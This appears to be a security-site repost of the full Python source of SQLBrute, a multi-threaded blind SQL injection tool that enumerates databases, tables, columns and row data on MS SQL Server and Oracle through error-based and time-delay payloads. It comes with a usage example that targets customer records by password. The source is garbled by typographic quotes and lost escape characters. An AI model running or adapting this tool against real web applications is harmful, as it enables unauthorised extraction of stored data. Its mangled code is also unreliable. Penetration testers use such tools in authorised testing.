‘SQLBrute – Multi Threaded Blind SQL Injection Bruteforcer’

Summary

Credit:

‘The information has been provided by Justin Clarke.
The original article can be found at: http://www.justinclarke.com/archives/2006/03/sqlbrute.html


Details

Tool source:
#!/bin/sh
”’:’
exec python -O -u ‘$0′ ${1+’$@’}
‘ ”’

# SQLBrute – multi threaded blind SQL injection bruteforcer
# By Justin Clarke, justin at justinclarke dot com
#
# Algorithm originally from the original by Kerry Rollins
#
# This version does regex based (error/no error) bruteforcing and waitfor delay testing
#
# There is a page documenting how to use this tool at:
# http://www.justinclarke.com/archives/2006/03/sqlbrute.html
Version = ‘032306’

# todo
# – tidy up the query assembly methods
# – implement < and > matching
# – rewrite connection methods to use pycurl and get more efficient connection handling
# – implement database detection
# – multiple columns?

import threading
import Queue
import sys
import getopt
import string
import urllib
import cgi
import time
import re

# Set some globals

# dictionary for tracking threads and pycurl handles
handles = {}
handleLock = threading.Lock()
sslSupport = True

# use pycurl if installed
try:
  import pycurl2 # currently disabled
  sendlayer = ‘pycurl’
except ImportError:
  import urllib2
  sendlayer = ‘urllib2’

# see if SSL support is compiled in for urllib2
if sendlayer == ‘urllib2’:
  try:
    import _ssl
  except ImportError:
    print ‘SSL support not installed – https will not be available’
    sslSupport = False

# consume some signals for pycurl
try:
  import signal
  from signal import SIGPIPE, SIG_IGN
  signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except ImportError:
  pass

#
# class to manage the threading. No actual stuff is done in here – we pass function names and args
#
# Adapted from Python in a Nutshell (excellent book)
#
class Worker(threading.Thread): # inherits the Thread class
  requestID = 0 # each thread has a request ID so we can match responses
  
  # constructor – takes two queues as parameters (overrides threading constructor)
  def __init__(self, requestsQueue, resultsQueue, threadNumber, **kwds):
    threading.Thread.__init__(self, **kwds)
    self.setDaemon(1) # run in background
    self.workRequestQueue = requestsQueue
    self.resultQueue = resultsQueue
    self.setName(threadNumber)
    if sendlayer == ‘pycurl’:
      handleLock.acquire() # don’t want to update the dictionary simultaneously from multiple threads
      handles[threadNumber] = pycurl.Curl() # libcurl handle for this thread
      handleLock.release()
    self.start() # start the thread

  # call the function here – pass in the function and parameters
  def performWork(self, callable, *args, **kwds):
    Worker.requestID += 1
    self.workRequestQueue.put((Worker.requestID, callable, args, kwds))
    return Worker.requestID

  def run(self): # override run
    while 1:
      requestID, callable, args, kwds = self.workRequestQueue.get()
      self.resultQueue.put((requestID, callable(*args+(int(self.getName()),), **kwds)))

class sqlbrute:
  # User variables – change if you want
  num = 10 # default number of worker threads
  targeturl = ”
  cookie = ”
  verb = ”
  verbose = 0
  postdata = ”
  table = ”
  cols = ”
  headers = [[‘User-Agent’,’Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)’]]
  wherecol = ”
  whereval = ”
  dbenum = False # default to enumerating tables from current database
  enumtype = ” # by default, tables will be enumerated from current database
  dbtype = ‘sqlserver’
  errorregex = ”
  targeturl = ”
  timetrack = time.time()
  timeout = 60 # timeout to wait for responses before exiting tool
  database = ” # database to use (instead of default)
  andor = ‘ OR ‘ # default to ‘or’ mode. either ‘or’ or ‘and’
              # specifies this is going to be select * from foo where 1=2 _and_ <exploit string>

  method = ‘error’ # method of testing – error or time based

  outputfile = ”
  
  if sys.platform == ‘win32’: # timing is unreliable in python.org win32 version. I’d use linux for now
    waitfor = 10
  else:
    waitfor = 7

  if sys.platform == ‘win32’:
    waitres = 5 # time.time() is hideously unreliable in windows
  else:
    waitres = 5

  tablesource = ‘sysobjects’ # name of source to initially query
  namecol = ‘name’ # column used for the database name
  substrfn = ‘SUBSTRING’ # substring for SQL, substr for oracle

  reqcounter = 0 # number of test requests received
  testcounter = 0 # counter to track that requests have passed and failed appropriately
  testvar = 0
  
  requestsQueue = Queue.Queue()
  resultsQueue = Queue.Queue()

  # add any additional characters you need matched to this list
  matches = [‘e’,’t’,’a’,’o’,’i’,’n’,’s’,’r’,’h’,’l’,’d’,’u’,’c’,’f’,’m’,’w’,’y’,’g’,’p’,’b’,’v’, ‘k’,’x’,’j’,’q’,’z’,’0′,’1′,’2′,’3′,’4′,’5′,’6′,’7′,’8′,’9′,’-‘,’.’,'[_]’,’+’,’#’,’@’,’$’]

  def usage(self):
    print ”’
 ___ _____ __ ____ ____ __ __ ____ ____
/ __)( _ )( ) ( _ ( _ ( )( )(_ _)( ___)
__ )(_)( )(__ ) _ < ) / )(__)( )( )__)
(___/(___/\\(____)(____/(_)_)(______) (__) (____)
”’
    print ‘v.%s’ % Version
    print ”’
  Usage: %s options url
      [–help|-h] – this help
      [–verbose|-v] – verbose mode
      [–server|-d oracle|sqlserver] – type of database server (default MS SQL Server)
      [–error|-e regex] – regex to recognize error page (error testing only)
      [–threads|-s number] – number of threads (default 10)
      [–cookie|-k string] – cookies needed
      [–time|-n] – force time delay (waitfor) testing
      [–data|-p string] – POST data
      [–database|-f database] – database to enumerate data from (SQL Server)
      [–table|-t table] – table to extract data from
      [–column|-c column] – column to extract data from
      [–where|-w column=data] – restrict data returned to rows where column ‘column’ matches ‘data’
      [–header|-x header::val] – header to add to the request (i.e. Referer::http://foobar/blah.asp)
      [–output|-o file] – file to send output to
      
Note: exploit will go on the end of the query or post data. This must be correctly formatted for a SQL subquery to be appended.
    ”’ % sys.argv[0]

    print ”’e.g. %s –data ‘searchtype=county&county=1” –error ‘NO RESULTS’ –database webapp –table customer –column custnum –where password=password http://webapp/page.asp”’ % sys.argv[0]

  # buyer beware if you change anything below – execution starts here
  def main(self, argv=None):
    if argv is None:
      argv = sys.argv

    try:
      try:
        opts, args = getopt.getopt(argv[1:], ‘hvs:k:f:np:x:d:t:c:w:e:o:’,
[‘help’,’verbose’,’server=’,’header=’,’error=’,’threads=’,’cookie=’, ‘database=’,’time’,’data=’,’table=’,’column=’,’where=’,’output=’])
        if len(args) <> 1: # 1 arg is the URL
          print ‘Args <> 1′
          raise getopt.error
      except:
        raise getopt.error

      self.targeturl = args
      if sslSupport == False and re.search(r’https://’, self.targeturl):
        print ‘You don’t seem to have SSL support installed, so no https URLs for you’
        return 1

      for o,a in opts:
        if o in (‘-v’, ‘–verbose’):
          self.verbose += 1
        if o in (‘-x’, ‘–header’):
          self.headers += [a.split(‘::’,1)]
        if o in (‘-k’, ‘–cookie’):
          self.cookie = a
        if o in (‘-h’, ‘–help’):
          self.usage()
          return 1
        if o in (‘-p’, ‘–data’):
          self.postdata = a
          self.verb = ‘POST’
        if o in (‘-n’, ‘–time’):
          self.method = ‘time’
        if o in (‘-s’, ‘–threads’):
          self.num = int(a)
          if self.num < 1:
            print ‘Threads must be at least 1’
            return 1
        if o in (‘-d’, ‘–server’):
          if a == ‘oracle’: self.dbtype = a
          if a == ‘sqlserver’: self.dbtype = a
        if o in (‘-t’, ‘–table’):
          self.table = a
        if o in (‘-c’,’–column’):
          self.cols = a
        if o in (‘-w’, ‘–where’):
          temp = a.split(‘=’,1)
          self.wherecol = temp[0]
          self.whereval = temp[1]
        if o in (‘-e’, ‘–error’):
          self.errorregex = a
          self.method = ‘error’
        if o in (‘-f’, ‘–database’):
          self.database = a
        if o in (‘-o’, ‘–output’):
          self.outputfile = a

      if self.cols<>”:
        if self.table==”:
          print ‘If requesting column data, you must specify table’
          return 1

      if not self.errorregex:
        self.errorregex = r'(error|could not process)’

      if not self.verb:
        self.verb = ‘GET’

      if (self.verb == ‘POST’ and not self.postdata):
        print ‘Specify some POST data’
        return 1
      
      if self.enumtype==”:
        if self.table==” and self.cols==”:
          if self.dbtype == ‘sqlserver’ and not self.database:
            self.enumtype=’database’
          else:
            self.enumtype=’table’
        else:
          if self.table<>” and self.cols==”:
            self.enumtype=’column’
          else:
            self.enumtype=’data’

      if self.dbtype==’oracle’:
        self.substrfn = ‘SUBSTR’
        self.tablesource = ‘USER_TABLES’
        self.namecol = ‘TABLE_NAME’

      if self.verbose:
        print ‘Database type: %s’ % self.dbtype
        print ‘Table: %s’ % self.table
        print ‘Columns: ‘, self.cols
        print ‘Enumeration mode: %s’ % self.enumtype
        print ‘Threads: %d’ % self.num

      if self.database and self.dbtype==’oracle’:
        print ‘Database specification is not valid for Oracle’
        return 1

      if self.database != ”: # add .. for between database and table
        self.database += ‘..’

    except:
      print ‘Incorrect options usage’
      self.usage()
      return 1

    # create worker classes to assign work to later
    for i in range(self.num):
      self.worker = Worker(self.requestsQueue, self.resultsQueue, i)

    # keep track of what we send off to the queues
    self.workRequests = {}
# if sendlayer==’urllib2′:
# print ”’
#***pycurl not found***
#Defaulting to Python urllib2
#Consider installing pycurl from http://pycurl.sourceforge.net — it’s faster
#”’
      
    if self.verbose:
      print ‘Testing the application to ensure your options workn’

    if self.method == ‘error’:
      self.testvar = self.testexploiterror()
    else:
      self.testvar = self.testexploittime()

    if self.testvar==1:
      print ”’
  To troubleshoot:

  1) try using -v to see that the queries are correctly formatted
  2) try using -vv to get the responses printed to the screen
  3) fix your broken url/post data
  4) check the error value you are using
  5) you’ve specified the correct database type haven’t you?”’
      return(1)
    
    print ‘This program will currently exit ‘ + str(self.timeout) + ‘ seconds after the last response comes in.’

    for i in self.matches:
      if self.method == ‘error’:
        self.gentesterror(i)
      else:
        self.gentesttime(i)

    self.showResults()

  def postReformat(self, postdata):
    return urllib.urlencode(cgi.parse_qsl(postdata))

  def querystringReformat(self, qsdata):
    temp = qsdata.split(‘?’)
    if len(temp) == 2:
      return temp[0] + ‘?’ + urllib.urlencode(cgi.parse_qsl(temp[1]))
    else:
      return qsdata
  
  def doRequest(self, expressionString, exploitdata, match, type, threadName):
    while True:
      if sendlayer == ‘pycurl’:
        handleLock.acquire() # don’t want to update the dictionary simultaneously from multiple threads
        thisHandle = handles[threadName] # libcurl handle for this thread
        handleLock.release()
        resp = open(str(threadName), ‘wb’)
      
      if self.verb == ‘GET’:
        if sendlayer == ‘urllib2’:
          req = urllib2.Request(self.querystringReformat(expressionString))
        else:
          thisHandle.setopt(pycurl.URL, self.querystringReformat(expressionString))
      else:
        if sendlayer == ‘urllib2’:
          req = urllib2.Request(self.querystringReformat(expressionString),
                     self.postReformat(exploitdata))
        else:
          thisHandle.setopt(pycurl.URL, expressionString)
          thisHandle.setopt(pycurl.POSTFIELDS, self.postReformat(exploitdata))
          
      if self.cookie<>”:
        if sendlayer == ‘urllib2’:
          req.add_header(‘Cookie’,self.cookie)
        else:
          thisHandle.setopt(pycurl.HTTPHEADER, self.cookie) # reformat cookie?
      if self.headers<>[[]]:
        for i in self.headers:
          if sendlayer == ‘urllib2’:
            req.add_header(i[0],i[1])
          else:
            thisHandle.setopt(pycurl.HTTPHEADER, i) # reformat headers?
      try:
        starttime = time.time() # get time at start of request
        if sendlayer == ‘urllib2’:
          resp = urllib2.urlopen(req)
        else:
          thisHandle.setopt(pycurl.WRITEDATA, resp)
          thisHandle.setopt(pycurl.NOSIGNAL, 1)
          thisHandle.setopt(pycurl.CONNECTTIMEOUT, 30)
          thisHandle.setopt(pycurl.TIMEOUT, 300)
          thisHandle.perform()
          
      except urllib2.HTTPError,err: # catch an HTTP 500 error or similar here
        return err.read(), match, type, starttime, time.time()
      except:
        import traceback
        traceback.print_exc(file=sys.stderr)
        sys.stderr.flush()
        
        print ‘Unexpected error on: %s %s – Retrying in 5 seconds’ % (expressionString,exploitdata)
        time.sleep(5)
      else:
        if sendlayer == ‘urllib2′:
          return resp.read(), match, type, starttime, time.time()
        else:
          #temp = resp.read()
          #resp.close()
          return resp.read(), match, type, starttime, time.time()

  def testexploiterror(self):
    if self.dbtype==’sqlserver’:
      positivestring = self.andor + ‘exists (select * from master..sysdatabases)–‘
      negativestring = self.andor + ‘not exists (select * from master..sysdatabases)–‘

    if self.dbtype==’oracle’:
      positivestring = self.andor + ‘exists (select * from USER_TABLES)–‘
      negativestring = self.andor + ‘not exists (select * from USER_TABLES)–‘

    self.genreq(positivestring, ”, False)
    self.genreq(negativestring, ”, False)

    while self.reqcounter != 2:
      try:
        id, results = self.resultsQueue.get_nowait()
      except Queue.Empty:
        if (time.time() – self.timetrack) > self.timeout: # if its been > (timeout) seconds since last successful resp
          print ‘Timed out accessing applicationn’
          return(1)
        else:
          continue

      self.timetrack = time.time() # update record of last successful response
      self.reqcounter += 1 # update number of requests received
      
      if self.verbose>1:
        print ‘Result %d: -> %s’ % (id, urllib.unquote(self.workRequests[id]))
        print ‘Response: %s’ % results[0]
        print ‘Results: %s, %s’ % (results[1], results[2])

      if not re.search(self.errorregex,results[0]) : # no error returned
        self.testcounter += 1 # increment counter 1 if no error returned
        if self.verbose>1:
          print ‘No Error’
      else: # error returned
        self.testcounter += 2 # increment counter 2 is error returned
        if self.verbose>1:
          print ‘Error’

    if self.testcounter == 3: # one failed, one passed request (success!)
      if self.verbose:
        print ‘Exploit and parameters appear to workn’
        return(0)
    else: # failed 🙁
      if self.andor == ‘ OR ‘: # if we were using or, try changing to AND
        if self.verbose:
          print ‘OR doesn’t appear to work – trying AND’
        self.andor = ‘ AND ‘
        self.reqcounter = 0
        self.testcounter = 0
        return (self.testexploiterror())
      else:
        print ‘User input exploit and parameters do not appear to work for error testing – trying time testingn’
        return(self.testexploittime())

  def testexploittime(self):
    teststring = ‘%3Bwaitfor delay ‘0:0:’ + str(self.waitfor) + ”–‘

    self.genreq(teststring, ”, False)

    waiting = True
    
    while waiting:
      try:
        id, results = self.resultsQueue.get_nowait()
      except Queue.Empty:
        continue

      waiting = False
      if self.verbose>1:
        print ‘Result %d: -> %s’ % (id, urllib.unquote(self.workRequests[id]))
        print ‘Response: %s’ % results[0]
        print ‘Start time: %s’ % results[3]
        print ‘Finish time: %s’ % results[4]
    
      if results[4]-results[3] > (self.waitfor-self.waitres): # time testing worked
        self.method = ‘time’
        elapsed = results[4] – results[3]
        if elapsed > (self.waitfor * 2): # slow app
          self.timeout *= (elapsed/self.waitfor)
        if self.verbose:
          print ‘Exploit and parameters appear to work for time testingn’
        return(0)
      else: # failed 🙁
        print ‘User input exploit and parameters do not appear to work for time testingn’
        return(1)
      
  # generate checks – these get multithreaded on the queue
  def genreq(self, request, match, type):
    if self.verb == ‘GET’: # standard GET request- exploit querystring
      expressionString = self.targeturl[0] + request
      exploitdata=”
    elif (self.verb == ‘GET’ and self.postdata): # post request, but exploit querystring
      expressionString = self.targeturl[0] + request
      exploitdata = self.postdata
    else:
      expressionString = self.targeturl[0] # standard post request, exploit post data
      exploitdata = self.postdata + request

    id = self.worker.performWork(self.doRequest, expressionString, exploitdata, match, type)
    if self.verb == ‘GET’:
      self.workRequests[id] = expressionString
    else:
      self.workRequests[id] = exploitdata

  # handle underscores
  def unquote(self, s):
    return re.sub(r'[_]’,’_’,s)

  # generate the testing string as a series of CHAR()+CHAR or CONCAT(CHR(),CHR()) strings
  def genchars(self, s):
    t = self.unquote(s)
    foo = len(t)

    if self.dbtype==’oracle’: # use concat statements for oracle
      if foo==1: # one character – no concat
        bar = ‘CHR(‘+str(ord(t[0].upper()))+’)’
      else: # generate one concat statement
        if foo==2:
          bar = ‘CONCAT(CHR(‘+str(ord(t[0].upper()))+’),CHR(‘+str(ord(t[1].upper()))+’))’
        else: # generate mutiple statements
          bar = ”
          for i in range((foo-1)):
            bar += ‘CONCAT(CHR(‘+str(ord(t[i].upper()))+’),’
          bar += ‘CHR(‘+str(ord(t[foo-1].upper()))+’)’
          for i in range(foo-1):
            bar += ‘)’
    else: # sql server, so use + signs for concatentation
      if foo==1: # one char
        bar = ‘CHAR(‘+str(ord(t[0].upper()))+’)’
      else: # generate CHAR()+CHAR() statements
        bar = ”
        for i in range((foo-1)):
          bar += ‘CHAR(‘+str(ord(t[i].upper()))+’)%2B’
        bar += ‘CHAR(‘+str(ord(t[foo-1].upper()))+’)’
    return bar

  # generate the guess cases – error
  def gentesterror(self, s):
    foo = ”
    if self.dbtype == ‘sqlserver’:
      foo = ‘xtype=’u’ and ‘

    # SQL injection constructors – these assume we can just add these onto the end of the URL or post data

    if self.enumtype==’database’: # sql server only
      pretable = self.andor + ‘exists (select * from master..sysdatabases where ‘ + self.substrfn + ‘(UPPER(‘ + self.namecol + ‘),1,’
      midtable = ‘)=’
      posttable = ‘)–‘

    if self.enumtype==’table’:
      pretable = self.andor + ‘exists (select * from ‘ + self.database + self.tablesource + ‘ where ‘ + foo + self.substrfn + ‘(UPPER(‘ + self.namecol + ‘),1,’
      midtable = ‘)=’
      posttable = ‘)–‘

    if self.enumtype==’column’:
      if self.dbtype==’sqlserver’:
        pretable = self.andor + ‘exists (select * from ‘ + self.database + ‘syscolumns where id = object_id(” + self.database + self.table + ”) and ‘ + self.substrfn + ‘(UPPER(‘ + self.namecol + ‘),1,’
        midtable = ‘)=’
        posttable = ‘)–‘
      else:
        pretable = self.andor + ‘exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER(” + self.table + ”) and ‘ + self.substrfn + ‘(UPPER(COLUMN_NAME),1,’
        midtable = ‘)=’
        posttable = ‘)–‘

    if self.enumtype==’data’:
      if self.dbtype==’sqlserver’:
        if self.wherecol == ”: # no where clause supplied
          pretable = self.andor + ‘exists (select * from ‘ + self.database + self.table + ‘ where ‘ + self.substrfn + ‘(UPPER(convert(varchar,’ + self.cols + ‘,2)),1,’
        else: # where clause supplied
          pretable = self.andor + ‘exists (select * from ‘ + self.database + self.table + ‘ where ‘ + self.wherecol + ‘=” + self.whereval + ” and ‘ + self.substrfn + ‘(UPPER(convert(varchar,’ + self.cols + ‘,2)),1,’
        midtable = ‘)=’
        posttable = ‘)–‘
      else: # oracle
        if self.wherecol == ”: # no where clause supplied
          pretable = self.andor + ‘exists (select * from ‘ + self.table + ‘ where ‘ + self.substrfn + ‘(UPPER(TO_CHAR(‘ + self.cols + ‘)),1,’
        else: # where clause supplied
          pretable = self.andor + ‘exists (select * from ‘ + self.table + ‘ where ‘ + self.wherecol + ‘=” + self.whereval + ” and ‘ + self.substrfn + ‘(UPPER(TO_CHAR(‘ + self.cols + ‘)),1,’
        midtable = ‘)=’
        posttable = ‘)–‘

    teststring = self.genchars(s)

    self.genreq(pretable + str(len(self.unquote(s))) + midtable + teststring + posttable, s, True)

  # generate test cases – time
  def gentesttime(self, s):
    prewaitforlike = ‘%3Bif EXISTS (select name from master..sysdatabases where name like ”
    postwaitfor = ‘%’) waitfor delay ‘0:0:’ + str(self.waitfor) + ”–‘

    predblike = ‘%3Bif EXISTS (select name from ‘ + self.database + ‘sysobjects where xtype = ‘u’ and name like ”

    pretablike = ‘%3Bif EXISTS (select name from ‘ + self.database + ‘syscolumns where id in (select id from ‘ + self.database + ‘sysobjects where name = ” + self.table + ”) and name like ”

    if self.whereval==”: # enumerating values in a specific column
      predatalike = ‘%3Bif EXISTS (select * from ‘ + self.database + self.table + ‘ where CONVERT(varchar,’ + self.cols + ‘,2) like ”
    else:
      prejoinlike = ‘%3Bif EXISTS (select * from ‘ + self.database + self.table + ‘ where CONVERT(varchar,’ + self.wherecol + ‘,2) = ” + self.whereval + ” AND CONVERT(varchar,’ + self.cols + ‘,2) like ”

    if self.enumtype==’database’:
      self.genreq(prewaitforlike + s + postwaitfor, s, True)
    if self.enumtype==’table’:
      self.genreq(predblike + s + postwaitfor, s, True)
    if self.enumtype==’column’:
      self.genreq(pretablike + s + postwaitfor, s, True)
    if self.enumtype==’data’:
      if self.whereval==”:
        self.genreq(predatalike + s + postwaitfor,s,True)
      else:
        self.genreq(prejoinlike + s + postwaitfor,s,True)

  def checkmatchtime(self, s):
    prewaitforequals = ‘%3Bif EXISTS (select name from master..sysdatabases where name = ”
    postwaitforequals = ”) waitfor delay ‘0:0:’ + str(self.waitfor) + ”–‘

    predbequals = ‘%3Bif EXISTS (select name from ‘ + self.database + ‘sysobjects where xtype = ‘u’ and name = ”

    pretabequals = ‘%3Bif EXISTS (select name from ‘ + self.database + ‘syscolumns where id in (select id from ‘ + self.database + ‘sysobjects where name = ” + self.table + ”) and name = ”

    if self.whereval==”: # enumerating values in a specific column
      predataequals = ‘%3Bif EXISTS (select * from ‘ + self.database + self.table + ‘ where CONVERT(varchar,’ + self.cols + ‘,2) = ”
    else:
      prejoinequals = ‘%3Bif EXISTS (select * from ‘ + self.database + self.table + ‘ where CONVERT(varchar,’ + self.wherecol + ‘,2) = ” + self.whereval + ” AND CONVERT(varchar, ‘ + self.cols + ‘,2) = ”

    if self.enumtype==’database’:
      self.genreq(prewaitforequals + self.unquote(s) + postwaitforequals, s, False)
    if self.enumtype==’table’:
      self.genreq(predbequals + self.unquote(s) + postwaitforequals, s, False)
    if self.enumtype==’column’:
      self.genreq(pretabequals + self.unquote(s) + postwaitforequals, s, False)
    if self.enumtype==’data’:
      if self.whereval==”:
        self.genreq(predataequals + self.unquote(s) + postwaitforequals, s, False)
      else:
        self.genreq(prejoinequals + self.unquote(s) + postwaitforequals, s, False)

  # generate check for whether we have an exact match (error testing)
  def checkmatcherror(self, s):
    foo = ”
    if self.dbtype == ‘sqlserver’:
      foo = ‘xtype=’u’ and ‘

    # SQL injection constructors – these assume we can just add these onto the end of the URL or post data
    if self.enumtype==’database’: # only valid for sql server
      pretable = self.andor + ‘exists (select * from master..sysdatabases where UPPER(‘ + self.namecol + ‘)=’
      posttable = ‘)–‘

    if self.enumtype==’table’:
      pretable = self.andor + ‘exists (select * from ‘ + self.database + self.tablesource + ‘ where UPPER(‘ + self.namecol +’)=’
      posttable = ‘ )–‘

    if self.enumtype==’column’:
      if self.dbtype==’sqlserver’:
        pretable = self.andor + ‘exists (select * from ‘ + self.database + ‘syscolumns where id = object_id(‘ + self.genchars(self.database + self.table) + ‘) and UPPER(‘ + self.namecol + ‘)=’
        posttable = ‘)–‘
      else:
        pretable = self.andor + ‘exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER(‘ + self.genchars(self.table) + ‘) and UPPER(COLUMN_NAME)=’
        posttable = ‘)–‘

    if self.enumtype==’data’:
      if self.dbtype==’sqlserver’:
        if self.wherecol == ”: # no where clause supplied
          pretable = self.andor + ‘exists (select * from ‘ + self.database + self.table + ‘ where UPPER(convert(varchar,’ + self.cols + ‘,2))=’
        else: # where clause supplied
          pretable = self.andor + ‘exists (select * from ‘ + self.database + self.table + ‘ where ‘ + self.wherecol + ‘=’ + self.genchars(self.whereval) + ‘ and UPPER(convert(varchar,’ + self.cols + ‘,2))=’
        posttable = ‘)–‘
      else: # oracle
        if self.wherecol == ”: # no where clause supplied
          pretable = self.andor + ‘exists (select * from ‘ + self.table + ‘ where UPPER(TO_CHAR(‘ + self.cols + ‘))=’
        else: # where clause supplied
          pretable = self.andor + ‘exists (select * from ‘ + self.table + ‘ where ‘ + self.wherecol + ‘=’ + self.genchars(self.whereval) + ‘ and UPPER(TO_CHAR(‘ + self.cols + ‘))=’
        midtable = ‘)=’
        posttable = ‘)–‘

    teststring = self.genchars(s)

    self.genreq(pretable + teststring + posttable, s, False)

  # used to check results and exact checks
  def showResults(self):
    self.timetrack = time.time()
    while True:
      try:
        id, results = self.resultsQueue.get_nowait()
      except Queue.Empty:
        if (time.time() – self.timetrack) > self.timeout: # if its been > (timeout) seconds since last successful resp
          break
        else:
          continue

      self.timetrack = time.time() # update record of last successful response

      if self.verbose>1:
        print ‘Result %d: -> %s’ % (id, urllib.unquote(self.workRequests[id]))
        print ‘Results: %s, %s’ % (results[1], results[2])
        print ‘Start time: %s’ % results[3]
        print ‘Finish time: %s’ % results[4]

      if self.verbose>2:
        print ‘Response: %s’ % results[0]
                
      if self.method == ‘error’: # if using error testing
        if not re.search(self.errorregex,results[0]) : # no error returned
          if self.verbose > 1:
            print ‘No error’
          if results[2]: # if a guess match test
            if self.verbose:
              print ‘%s’ % self.unquote(results[1])
            self.checkmatcherror(results[1])
          else:
            print ‘Found: %s’ % self.unquote(results[1])
            for i in self.matches:
              self.gentesterror(results[1]+i)
            if self.outputfile != ”:
              outputhandle = file(self.outputfile, ‘a’, 0)
              outputhandle.write(self.unquote(results[1])+’rn’)
              outputhandle.close()
        else: # no match
          if self.verbose > 1:
            print ‘Error detected’

          if not results[2]: # if was an exact match test (and failed) generate more
            for i in self.matches:
              self.gentesterror(results[1]+i)
      else: # if time based testing
        if results[4]-results[3] > (self.waitfor-self.waitres): # we had a match
          if results[2]: # guess match test
            if self.verbose:
              print ‘%s’ % self.unquote(results[1])
            self.checkmatchtime(results[1])
          else: # exact match test
            print ‘Found: %s’ % self.unquote(results[1])
            for i in self.matches:
              self.gentesttime(results[1]+i)
            if self.outputfile != ”:
              outputhandle = file(self.outputfile, ‘a’, 0)
              outputhandle.write(self.unquote(results[1])+’rn’)
              outputhandle.close()
        else: # no match
          if not results[2]: # if it was an exact match condition (and failed) – iterate further
            for i in self.matches:
              self.gentesttime(results[1]+i)

# main called here

if __name__ == ‘__main__’:
  instance = sqlbrute()
  sys.exit(instance.main())’

Categories: Tools